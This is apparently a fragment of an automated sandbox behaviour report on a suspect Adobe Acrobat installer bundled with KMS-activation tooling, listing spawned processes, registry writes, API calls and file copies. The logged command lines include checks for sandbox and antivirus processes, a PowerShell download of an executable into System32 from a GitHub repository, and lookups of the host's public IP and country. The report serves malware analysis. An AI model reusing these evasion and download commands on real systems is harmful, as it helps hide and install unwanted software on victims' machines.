"/act-"" (UID: 00000000-00005724), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00005684), Spawned process "find.exe" with commandline "find /i "/kms"" (UID: 00000000-00005552), Spawned process "cmd.exe" with commandline "/c wmic path win32_LocalTime Get Day Month Year /value" (UID: 00000000-00002036), Spawned process "WMIC.exe" with commandline "wmic path win32_LocalTime Get Day Month Year /value" (UID: 00000000-00003300), Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\s_o.cmd" "" (UID: 00000000-00008016), Spawned process "cmd.exe" with commandline "/c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (UID: 00000000-00006596), Spawned process "tasklist.exe" with commandline "tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (UID: 00000000-00006404), Spawned process "reg.exe" with commandline "reg query "HKLM\\SOFTWARE\\Microsoft\\Alu" /s /reg:32" (UID: 00000000-00003940), Spawned process "reg.exe" with commandline "reg Add "HKLM\\SOFTWARE\\Microsoft\\Alu" /f /reg:32" (UID: 00000000-00007500), Spawned process "cmd.exe" with commandline "/c reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation" /v "SystemProductName"" (UID: 00000000-00006432), Spawned process "reg.exe" with commandline "reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation" /v "SystemProductName"" (UID: 00000000-00005184), Spawned process "cmd.exe" with commandline "/c reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig\\Current" /v "SystemProductName"" (UID: 00000000-00003944), Spawned process "reg.exe" with commandline "reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig\\Current" /v "SystemProductName"" (UID: 00000000-00004404), Spawned process "cmd.exe" with commandline "/c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (UID: 00000000-00000336), Spawned process "tasklist.exe" with commandline "tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (UID: 00000000-00004456), Spawned process "cmd.exe" with commandline "/c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (UID: 00000000-00006100), Spawned process "tasklist.exe" with commandline "tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (UID: 00000000-00007028), Spawned process "powershell.exe" with commandline "powershell "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (new-object net.webclient).DownloadFile('https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe', '%WINDIR%\\System32\\curl.exe')"" (UID: 00000000-00005180), Spawned process "cmd.exe" with commandline "/c curl https://ipinfo.io/ip -k" (UID: 00000000-00006048), Spawned process "curl.exe" with commandline "curl https://ipinfo.io/ip -k" (UID: 00000000-00002268), Spawned process "curl.exe" with commandline "curl https://ipinfo.io/country -k" (UID: 00000000-00001688), Spawned process "WMIC.exe" with commandline "wmic os get caption" (UID: 00000000-00005712), Spawned process "findstr.exe" with commandline "findstr /il%WINDIR%\\7"" (UID: 00000000-00007716) Spawned process "cmd.exe" with commandline "/S /D /c" ( findstr /il%WINDIR%\\8" 1>nul )"" (UID: 00000000-00008168) Spawned process "findstr.exe" with commandline "findstr /il%WINDIR%\\8"" (UID: 00000000-00004328), Spawned process "WMIC.exe" with commandline "wmic os get caption" (UID: 00000000-00007812), Spawned process "findstr.exe" with commandline "findstr /il%WINDIR%\\8.1"" (UID: 00000000-00008040) Spawned process "WMIC.exe" with commandline "wmic os get caption" (UID: 00000000-00002760) Spawned process "cmd.exe" with commandline "/S /D /c" ( findstr /il%WINDIR%\\10" 1>nul )"" (UID: 00000000-00007932)7b:T40c,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp")7c:T4e1,"MsiExec.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\ACROBAT\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\Acrobat.exe" /u "%1""), "MsiExec.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\ADOBE\INSTALLER\{AC76BA86-1033-1033-7760-BC15014EA700}"; Key: "TERMINATEPROCESSLIST"; Value: "AdobeCollabSync.exe##AAM Updates Notifier.exe"), "MsiExec.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\ADOBE\INSTALLER\{AC76BA86-1033-1033-7760-BC15014EA700}"; Key: "REG_URI_HANDLER"; Value: ""%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\Acrobat.exe" /u "%1""), "MsiExec.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\ADOBE\INSTALLER\{AC76BA86-1033-1033-7760-BC15014EA700}"; Key: "REG_URI_HANDLER_PREV"; Value: ""%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\Acrobat.exe" /u "%1""), "MsiExec.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\ADOBE\INSTALLER\{AC76BA86-1033-1033-7760-BC15014EA700}"; Key: "REG_2018_URI_HANDLER"; Value: ""%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\Acrobat.exe" /u "%1""), "MsiExec.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\ADOBE\INSTALLER\{AC76BA86-1033-1033-7760-BC15014EA700}"; Key: "REG_2018_URI_HANDLER_ICON"; Value: "%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\Acrobat.exe")7d:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAKi/54AHWcDKN7MMgzW+Je4GnjudtlwpnXzX+Iejz1QKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCC2IwggTvMIID16ADAgECAhMzAAAKc/" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCuweDGBKLLkpvRIfNHqlHxBvX6u7A8kK+C53oBAy+VdKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"}7e:T1553,"MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\AcroCEF.exe to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\cef.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\cef.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\cef_100_percent.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_100_percent.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\cef_200_percent.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_200_percent.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\cef_extensions.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_extensions.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\chrome_100_percent.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_100_percent.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\chrome_200_percent.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_200_percent.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\chrome_elf.dll to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_elf.dll (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\COPYING.LGPLv2.1.txt to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\COPYING.LGPLv2.1.txt (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\icudtl.dat to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\icudtl.dat (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\libcef.dll to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\libcef.dll (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\LICENSE.txt to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\LICENSE.txt (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\locales\en-US.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\locales\en-US.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\resources.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\resources.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\SingleClientServicesUpdater.exe to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\snapshot_blob.bin to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\snapshot_blob.bin (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\swiftshader\libEGL.dll to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\libEGL.dll (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\swiftshader\libGLESv2.dll to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\libGLESv2.dll (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\v8_context_snapshot.bin to new location %PROGRAMFILES%\Adobe\Acrobat 